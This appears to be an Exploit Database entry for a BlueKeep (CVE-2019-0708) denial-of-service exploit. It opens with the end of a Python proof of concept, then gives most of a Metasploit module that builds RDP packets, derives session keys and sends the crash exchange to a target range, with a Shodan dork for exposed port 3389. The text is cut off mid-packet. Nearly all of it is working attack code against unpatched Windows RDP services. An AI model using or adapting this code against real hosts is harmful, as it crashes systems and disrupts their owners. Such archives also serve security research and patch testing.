args[2]) terminate_connection(tls) print("[+] Vuln Should Trigger") if __name__ == '__main__': if len(sys.argv) != 3: print("Usage: python poc.py 127.0.0.1 64") sys.exit() elif sys.argv[2] == '32' or '64': # I've had to send the packets 5 times for hosts that havent # had a terminal session since their last reboot. I think # I know why but atm its just easier to send the exchange # 5 times and it'll crash eventually. Most of the time its # the first time though. for _ in range(5): main(sys.argv) else: print("Usage: python poc.py 127.0.0.1 64") sys.exit()
Exploit Database EDB-ID : 47120

Date de publication : 2019-07-14 22:00 +00:00
Auteur : RAMELLA Sebastien
EDB Vérifié : No

# Exploit Title: Bluekeep Denial of Service (metasploit module) # Shodan Dork: port:3389 # Date: 07/14/2019 # Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/) # Vendor Homepage: https://microsoft.com # Version: all affected RDP services by cve-2019-0708 # Tested on: Windows XP (32-bits) / Windows 7 (64-bits) # CVE : 2019-0708 # I just modified the initial metasploit module for this vuln to produce a denial of service attack. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary Rank = NormalRanking include Msf::Auxiliary::Dos include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE', 'Description' => %q{ This module checks a range of hosts for the CVE-2019-0708 vulnerability by binding the MS_T120 channel outside of its normal slot and sending DoS packets. }, 'Author' => [ 'National Cyber Security Centre', # Discovery 'JaGoTu', # Module 'zerosum0x0', # Module 'Tom Sellers', # TLS support and documented packets 'RAMELLA Sebastien' # Denial of service module ], 'References' => [ [ 'CVE', '2019-0708' ], [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ] ], 'DisclosureDate' => '2019-05-14', 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [ CRASH_OS_DOWN ], 'AKA' => ['BlueKeep'] } )) register_options( [ OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']), OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']), OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']), OptString.new('RDP_USER', [ false, 'The username to report during connection.']), OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']), OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389]) ] ) end # ------------------------------------------------------------------------- # def bin_to_hex(s) return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join) end def bytes_to_bignum(bytesIn, order = "little") bytes = bin_to_hex(bytesIn) if(order == "little") bytes = bytes.scan(/../).reverse.join('') end s = "0x" + bytes return(s.to_i(16)) end ## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110 def int_to_bytestring(daInt, num_chars = nil) unless(num_chars) bits_needed = Math.log(daInt) / Math.log(2) num_chars = (bits_needed / 8.0).ceil end if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ]) [daInt].pack(pack_code) else a = (0..(num_chars)).map{ | i | (( daInt >> i*8 ) & 0xFF ).chr }.join a[0..-2] # Seems legit lol! end end def open_connection() begin connect() sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1) rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e vprint_error("Connection error: #{e.message}") return(false) end return(true) end def rsa_encrypt(bignum, rsexp, rsmod) return((bignum ** rsexp) % rsmod) end # ------------------------------------------------------------------------- # ## Used to abruptly abort scanner for a given host. class RdpCommunicationError < StandardError end ## Define standard RDP constants. class RDPConstants PROTOCOL_RDP = 0 end DEFAULT_CHANNELS_DEFS = "\x04\x00\x00\x00" + # channelCount: 4 ## Channels definitions consist of a name (8 bytes) and options flags ## (4 bytes). Names are up to 7 ANSI characters with null termination. "\x72\x64\x70\x73\x6e\x64\x00\x00" + # rdpsnd "\x0f\x00\x00\xc0" + "\x63\x6c\x69\x70\x72\x64\x72\x00" + # cliprdr "\x00\x00\xa0\xc0" + "\x64\x72\x64\x79\x6e\x76\x63" + # drdynvc "\x00\x00\x00\x80\xc0" + "\x4d\x53\x5f\x54\x31\x32\x30" + # MS_T120 "\x00\x00\x00\x00\x00" ## Builds x.224 Data (DT) TPDU - Section 13.7 def rdp_build_data_tpdu(data) tpkt_length = data.length + 7 "\x03\x00" + # TPKT Header version 03, reserved 0 [tpkt_length].pack("S>") + # TPKT length "\x02\xf0" + # X.224 Data TPDU (2 bytes) "\x80" + # X.224 End Of Transmission (0x80) data end ## Build the X.224 packet, encrypt with Standard RDP Security as needed. ## Default channel_id = 0x03eb = 1003. def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "\x03\xeb", client_info = false, rdp_sec = true) flags = 0 flags |= 0b1000 if(rdp_sec) # Set SEC_ENCRYPT flags |= 0b1000000 if(client_info) # Set SEC_INFO_PKT pdu = "" ## TS_SECURITY_HEADER - 2.2.8.1.1.2.1 ## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs. if(client_info || rdp_sec) pdu << [flags].pack("S<") # flags "\x48\x00" = SEC_INFO_PKT | SEC_ENCRYPT pdu << "\x00\x00" # flagsHi end if(rdp_sec) ## Encrypt the payload with RDP Standard Encryption. pdu << rdp_hmac(hmackey, data)[0..7] pdu << rdp_rc4_crypt(rc4enckey, data) else pdu << data end user_data_len = pdu.length udl_with_flag = 0x8000 | user_data_len pkt = "\x64" # sendDataRequest pkt << "\x00\x08" # intiator userId (TODO: for a functional client this isn't static) pkt << channel_id # channelId pkt << "\x70" # dataPriority pkt << [udl_with_flag].pack("S>") pkt << pdu return(rdp_build_data_tpdu(pkt)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471 ## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1 def rdp_build_share_control_header(type, data, channel_id = "\xf1\x03") total_len = data.length + 6 return( [total_len].pack("S<") + # totalLength - includes all headers [type].pack("S<") + # pduType - flags 16 bit, unsigned channel_id + # PDUSource: 0x03f1 = 1009 data ) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31 ## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2 def rdp_build_share_data_header(type, data) uncompressed_len = data.length + 4 return( "\xea\x03\x01\x00" + # shareId: 66538 "\x00" + # pad1 "\x01" + # streamID: 1 [uncompressed_len].pack("S<") + # uncompressedLength - 16 bit, unsigned int [type].pack("C") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2 "\x00" + # compressedType: 0 "\x00\x00" + # compressedLength: 0 data ) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b ## Virtual Channel PDU 2.2.6.1 def rdp_build_virtual_channel_pdu(flags, data) data_len = data.length return( [data_len].pack("L<") + # length [flags].pack("L<") + # flags data ) end def rdp_calculate_rc4_keys(client_random, server_random) ## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom). preMasterSecret = client_random[0..23] + server_random[0..23] ## PreMasterHash(I) = SaltedHash(preMasterSecret, I) ## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343). masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) + rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random) ## MasterHash(I) = SaltedHash(MasterSecret, I) ## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A). sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) + rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random) ## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)). initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random) ## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)). initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random) macKey = sessionKeyBlob[0..15] return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob end def rdp_connection_initiation() ## Code to check if RDP is open or not. vprint_status("Verifying RDP protocol...") vprint_status("Attempting to connect using RDP security") rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP)) received = sock.get_once(-1, 5) ## TODO: fix it. if (received and received.include? "\x00\x12\x34\x00") return(true) end return(false) end ## FinalHash(K) = MD5(K + ClientRandom + ServerRandom). def rdp_final_hash(k, client_random_bytes, server_random_bytes) md5 = Digest::MD5.new md5 << k md5 << client_random_bytes md5 << server_random_bytes return([md5.hexdigest].pack("H*")) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94 ## mac_salt_key = "W\x13\xc58\x7f\xeb\xa9\x10*\x1e\xddV\x96\x8b[d" ## data_content = "\x12\x00\x17\x00\xef\x03\xea\x03\x02\x00\x00\x01\x04\x00$\x00\x00\x00" ## hmac = rdp_hmac(mac_salt_key, data_content) # hexlified: "22d5aeb486994a0c785dc929a2855923". def rdp_hmac(mac_salt_key, data_content) sha1 = Digest::SHA1.new md5 = Digest::MD5.new pad1 = "\x36" * 40 pad2 = "\x5c" * 48 sha1 << mac_salt_key sha1 << pad1 sha1 << [data_content.length].pack('<L') sha1 << data_content md5 << mac_salt_key md5 << pad2 md5 << [sha1.hexdigest].pack("H*") return([md5.hexdigest].pack("H*")) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c ## Parse Server MCS Connect Response PUD - 2.2.1.4 def rdp_parse_connect_response(pkt) ptr = 0 rdp_pkt = pkt[0x49..pkt.length] while(ptr < rdp_pkt.length) header_type = rdp_pkt[ptr..ptr + 1] header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0] # vprint_status("header: #{bin_to_hex(header_type)}, len: #{header_length}") if(header_type == "\x02\x0c") # vprint_status("Security header") server_random = rdp_pkt[ptr + 20..ptr + 51] public_exponent = rdp_pkt[ptr + 84..ptr + 87] modulus = rdp_pkt[ptr + 88..ptr + 151] # vprint_status("modulus_old: #{bin_to_hex(modulus)}") rsa_magic = rdp_pkt[ptr + 68..ptr + 71] if(rsa_magic != "RSA1") print_error("Server cert isn't RSA, this scenario isn't supported (yet).") raise RdpCommunicationError end # vprint_status("RSA magic: #{rsa_magic}") bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8 vprint_status("RSA #{bitlen}-bits") modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen] # vprint_status("modulus_new: #{bin_to_hex(modulus)}") end ptr += header_length end # vprint_status("SERVER_MODULUS: #{bin_to_hex(modulus)}") # vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}") # vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}") rsmod = bytes_to_bignum(modulus) rsexp = bytes_to_bignum(public_exponent) rsran = bytes_to_bignum(server_random) vprint_status("MODULUS: #{bin_to_hex(modulus)} - #{rsmod.to_s}") vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}") vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}") return rsmod, rsexp, rsran, server_random, bitlen end def rdp_rc4_crypt(rc4obj, data) rc4obj.encrypt(data) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f ## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom)) def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes) sha1 = Digest::SHA1.new md5 = Digest::MD5.new sha1 << i_bytes sha1 << s_bytes sha1 << client_random_bytes sha1 << server_random_bytes md5 << s_bytes md5 << [sha1.hexdigest].pack("H*") return([md5.hexdigest].pack("H*")) end def rdp_recv() buffer_1 = sock.get_once(4, 5) raise RdpCommunicationError unless buffer_1 # nil due to a timeout buffer_2 = sock.get_once(buffer_1[2..4].unpack("S>")[0], 5) raise RdpCommunicationError unless buffer_2 # nil due to a timeout vprint_status("Received data: #{bin_to_hex(buffer_1 + buffer_2)}") return(buffer_1 + buffer_2) end def rdp_send(data) vprint_status("Send data: #{bin_to_hex(data)}") sock.put(data) end def rdp_sendrecv(data) rdp_send(data) return(rdp_recv()) end # ------------------------------------------------------------------------- # ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10 ## Client X.224 Connect Request PDU - 2.2.1.1 def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP) ## Blank username is valid, nil is random. user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?) tpkt_len = user_name.length + 38 x224_len = user_name.length + 33 return( "\x03\x00" + # TPKT Header version 03, reserved 0 [tpkt_len].pack("S>") + # TPKT length: 43 [x224_len].pack("C") + # X.224 LengthIndicator "\xe0" + # X.224 Type: Connect Request "\x00\x00" + # dst reference "\x00\x00" + # src reference "\x00" + # class and options "\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" + # cookie - literal 'Cookie: mstshash=' user_name + # Identifier "username" "\x0d\x0a" + # cookie terminator "\x01\x00" + # Type: RDP Negotiation Request (0x01) "\x08\x00" + # Length [requested_protocols].pack('L<') # requestedProtocols ) end # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS) ## After negotiating TLS or NLA the connectInitial packet needs to include the ## protocol selection that the server indicated in its negotiation response. ## TODO: If this is pulled into an RDP library then the channel list likely ## needs to be build dynamically. For example, MS_T120 likely should only ## ever be sent as part of checks for CVE-2019-0708. ## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE) ## 15 characters + null terminator, converted to unicode ## fixed length - 32 characters total name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le') name_unicode += "\x00" * (32 - name_unicode.length) pdu = "\x7f\x65" + # T.125 Connect-Initial (BER: Application 101) "\x82\x01\xb2" + # Length (BER: Length) "\x04\x01\x01" + # CallingDomainSelector: 1 (BER: OctetString) "\x04\x01\x01" + # CalledDomainSelector: 1 (BER: OctetString) "\x01\x01\xff" + # UpwaredFlag: True (BER: boolean) ## Connect-Initial: Target Parameters "\x30\x19" + # TargetParamenters (BER: SequenceOf) ## *** not sure why the BER encoded Integers below have 2 byte values instead of one *** "\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" + ## Connect-Intial: Minimum Parameters "\x30\x19" + # MinimumParameters (BER: SequencOf) "\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02" + ## Connect-Initial: Maximum Parameters "\x30\x1c" + # MaximumParameters (BER: SequencOf) "\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" + ## Connect-Initial: UserData "\x04\x82\x01\x51" + # UserData, length 337 (BER: OctetString) ## T.124 GCC Connection Data (ConnectData) - PER Encoding used "\x00\x05" + # object length "\x00\x14\x7c\x00\x01" + # object: OID 0.0.20.124.0.1 = Generic Conference Control "\x81\x48" + # Length: ??? (Connect PDU) "\x00\x08\x00\x10\x00\x01\xc0\x00" + # T.124 Connect PDU, Conference name 1 "\x44\x75\x63\x61" + # h221NonStandard: 'Duca' (client-to-server H.221 key) "\x81\x3a" + # Length: ??? (T.124 UserData section) ## Client MCS Section - 2.2.1.3 "\x01\xc0" + # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2 "\xea\x00" + # Length: 234 (includes header) "\x0a\x00\x08\x00" + # version: 8.1 (RDP 5.0 -> 8.1) "\x80\x07" + # desktopWidth: 1920 "\x38\x04" + # desktopHeigth: 1080 "\x01\xca" + # colorDepth: 8 bpp "\x03\xaa" + # SASSequence: 43523 "\x09\x04\x00\x00" + # keyboardLayout: 1033 (English US) "\xee\x42\x00\x00" + # clientBuild: ???? [name_unicode].pack("a*") + # clientName "\x04\x00\x00\x00" + # keyboardType: 4 (IBMEnhanced 101 or 102) "\x00\x00\x00\x00" + # keyboadSubtype: 0 "\x0c\x00\x00\x00" + # keyboardFunctionKey: 12 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # imeFileName (64 bytes) "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x01\xca" + # postBeta2ColorDepth: 8 bpp "\x01\x00" + # clientProductID: 1 "\x00\x00\x00\x00" + # serialNumber: 0 "\x18\x00" + # highColorDepth: 24 bpp "\x0f\x00" + # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp) "\xaf\x07" + # earlyCapabilityFlags "\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00" + # clientDigProductID (64 bytes) "\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00" + "\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d" + "\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42" + "\x07" + # connectionType: 7 "\x00" + # pad1octet ## serverSelectedProtocol - After negotiating TLS or CredSSP this value ## must match the selectedProtocol value from the server's Negotiate ## Connection confirm PDU that was sent before encryption was started. [selected_proto].pack('L<') + # "\x01\x00\x00\x00" "\x56\x02\x00\x00" + "\x50\x01\x00\x00" + "\x00\x00" + "\x64\x00\x00\x00" + "\x64\x00\x00\x00" + "\x04\xc0" + # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5 "\x0c\x00" + # Length: 12 (includes header) "\x15\x00\x00\x00" + # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3) "\x00\x00\x00\x00" + # RedirectedSessionID "\x02\xc0" + # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3 "\x0c\x00" + # Length: 12 (includes header) "\x1b\x00\x00\x00" + # encryptionMethods: 3 (40 bit | 128 bit) "\x00\x00\x00\x00" + # extEncryptionMethods (French locale only) "\x03\xc0" + # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4 "\x38\x00" + # Length: 56 (includes header) channels_defs ## Fix. for packet modification. ## T.125 Connect-Initial size_1 = [pdu.length - 5].pack("s") # Length (BER: Length) pdu[3] = size_1[1] pdu[4] = size_1[0] ## Connect-Initial: UserData size_2 = [pdu.length - 102].pack("s") # UserData, length (BER: OctetString) pdu[100] = size_2[1] pdu[101] = size_2[0] ## T.124 GCC Connection Data (ConnectData) - PER Encoding used size_3 = [pdu.length - 111].pack("s") # Length (Connect PDU) pdu[109] = "\x81" pdu[110] = size_3[0] size_4 = [pdu.length - 125].pack("s") # Length (T.124 UserData section) pdu[123] = "\x81" pdu[124] = size_4[0] ## Client MCS Section - 2.2.1.3 size_5 = [pdu.length - 383].pack("s") # Length (includes header) pdu[385] = size_5[0] rdp_build_data_tpdu(pdu) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f ## Client Security Exchange PDU - 2.2.1.10 def pdu_security_exchange(rcran, rsexp, rsmod, bitlen) encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod) encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum) bitlen += 8 # Pad with size of TS_SECURITY_PACKET header userdata_length = 8 + bitlen userdata_length_low = userdata_length & 0xFF userdata_length_high = userdata_length / 256 flags = 0x80 | userdata_length_high pdu = "\x64" + # T.125 sendDataRequest "\x00\x08" + # intiator userId "\x03\xeb" + # channelId = 1003 "\x70" + # dataPriority = high, segmentation = begin | end [flags].pack("C") + [userdata_length_low].pack("C") + # UserData length # TS_SECURITY_PACKET - 2.2.1.10.1 "\x01\x00" + # securityHeader flags "\x00\x00" + # securityHeader flagsHi [bitlen].pack("L<") + # TS_ length encrypted_rcran + # encryptedClientRandom - 64 bytes "\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present) return(rdp_build_data_tpdu(pdu)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c ## Client MCS Erect Domain Request PDU - 2.2.1.5 def pdu_erect_domain_request() pdu = "\x04" + # T.125 ErectDomainRequest "\x01\x00" + # subHeight - length 1, value 0 "\x01\x00" # subInterval - length 1, value 0 return(rdp_build_data_tpdu(pdu)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\ ## Client MCS Attach User Request PDU - 2.2.1.6 def pdu_attach_user_request() pdu = "\x28" # T.125 AttachUserRequest return(rdp_build_data_tpdu(pdu)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b ## Client MCS Channel Join Request PDU -2.2.1.8 def pdu_channel_request(user1, channel_id) pdu = "\x38" + [user1, channel_id].pack("nn") # T.125 ChannelJoinRequest return(rdp_build_data_tpdu(pdu)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d ## TS_INFO_PACKET - 2.2.1.11.1.1 def pdu_client_info(user_name, domain_name = "", ip_address = "") ## Max. len for 4.0/6.0 servers is 44 bytes including terminator. ## Max. len for all other versions is 512 including terminator. ## We're going to limit to 44 (21 chars + null -> unicode) here. ## Blank username is valid, nil = random. user_name = Rex::Text.rand_text_alpha(10) if user_name.nil? user_unicode = Rex::Text.to_unicode(user_name[0..20], type = 'utf-16le') uname_len = user_unicode.length ## Domain can can be, and for rdesktop typically is, empty. ## Max. len for 4.0/5.0 servers is 52 including terminator. ## Max. len for all other versions is 512 including terminator. ## We're going to limit to 52 (25 chars + null -> unicode) here. domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le') domain_len = domain_unicode.length ## This address value is primarily used to reduce the fields by which this ## module can be fingerprinted. It doesn't show up in Windows logs. ## clientAddress + null terminator ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "\x00\x00" ip_len = ip_unicode.length pdu = "\xa1\xa5\x09\x04" + "\x09\x04\xbb\x47" + # CodePage "\x03\x00\x00\x00" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY [domain_len].pack("S<") + # cbDomain (length value) - EXCLUDES null terminator [uname_len].pack("S<") + # cbUserName (length value) - EXCLUDES null terminator "\x00\x00" + # cbPassword (length value) "\x00\x00" + # cbAlternateShell (length value) "\x00\x00" + # cbWorkingDir (length value) [domain_unicode].pack("a*") + # Domain "\x00\x00" + # Domain null terminator, EXCLUDED from value of cbDomain [user_unicode].pack("a*") + # UserName "\x00\x00" + # UserName null terminator, EXCLUDED FROM value of cbUserName "\x00\x00" + # Password - empty "\x00\x00" + # AlternateShell - empty ## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1 "\x02\x00" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically [ip_len].pack("S<") + # cbClientAddress (length value) - INCLUDES terminator ... for reasons. [ip_unicode].pack("a*") + # clientAddress (unicode + null terminator (unicode) "\x3c\x00" + # cbClientDir (length value): 60 "\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x4e\x00\x54\x00" + # clientDir - 'C:\WINNT\System32\mstscax.dll' + null terminator "\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00" + "\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00" + "\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00" + ## clientTimeZone - TS_TIME_ZONE struct - 172 bytes ## These are the default values for rdesktop "\xa4\x01\x00\x00" + # Bias ## StandardName - 'GTB,normaltid' "\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" + "\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00" + "\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # StandardDate "\x00\x00\x00\x00" + # StandardBias ## DaylightName - 'GTB,sommartid' "\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" + "\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00" + "\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # DaylightDate "\xc4\xff\xff\xff" + # DaylightBias "\x01\x00\x00\x00" + # clientSessionId "\x06\x00\x00\x00" + # performanceFlags "\x00\x00" + # cbAutoReconnectCookie "\x64\x00\x00\x00" return(pdu) end # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48 # Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1 def pdu_client_confirm_active() pdu = "\xea\x03\x01\x00" + # shareId: 66538 "\xea\x03" + # originatorId "\x06\x00" + # lengthSourceDescriptor: 6 "\x3e\x02" + # lengthCombinedCapabilities: ??? "\x4d\x53\x54\x53\x43\x00" + # SourceDescriptor: 'MSTSC' "\x17\x00" + # numberCapabilities: 23 "\x00\x00" + # pad2Octets "\x01\x00" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET "\x18\x00" + # lengthCapability: 24 "\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x02\x00" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET "\x1c\x00" + # lengthCapability: 28 "\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00" + "\x01\x00\x00\x1a\x01\x00\x00\x00" + "\x03\x00" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET "\x58\x00" + # lengthCapability: 88 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00" + "\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01" + "\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00" + "\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00" + "\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00" + "\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x0a\x00" + # capabilitySetType: 10 - ?? "\x08\x00" + # lengthCapability: 8 "\x06\x00\x00\x00" + "\x07\x00" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET "\x0c\x00" + # lengthCapability: 12 "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x05\x00" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET "\x0c\x00" + # lengthCapability: 12 "\x00\x00\x00\x00\x02\x00\x02\x00" + "\x08\x00" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET "\x0a\x00" + # lengthCapability: 10 "\x01\x00\x14\x00\x15\x00" + "\x09\x00" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x00\x00\x00\x00" + "\x0d\x00" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET "\x58\x00" + # lengthCapability: 88 "\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" + "\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + 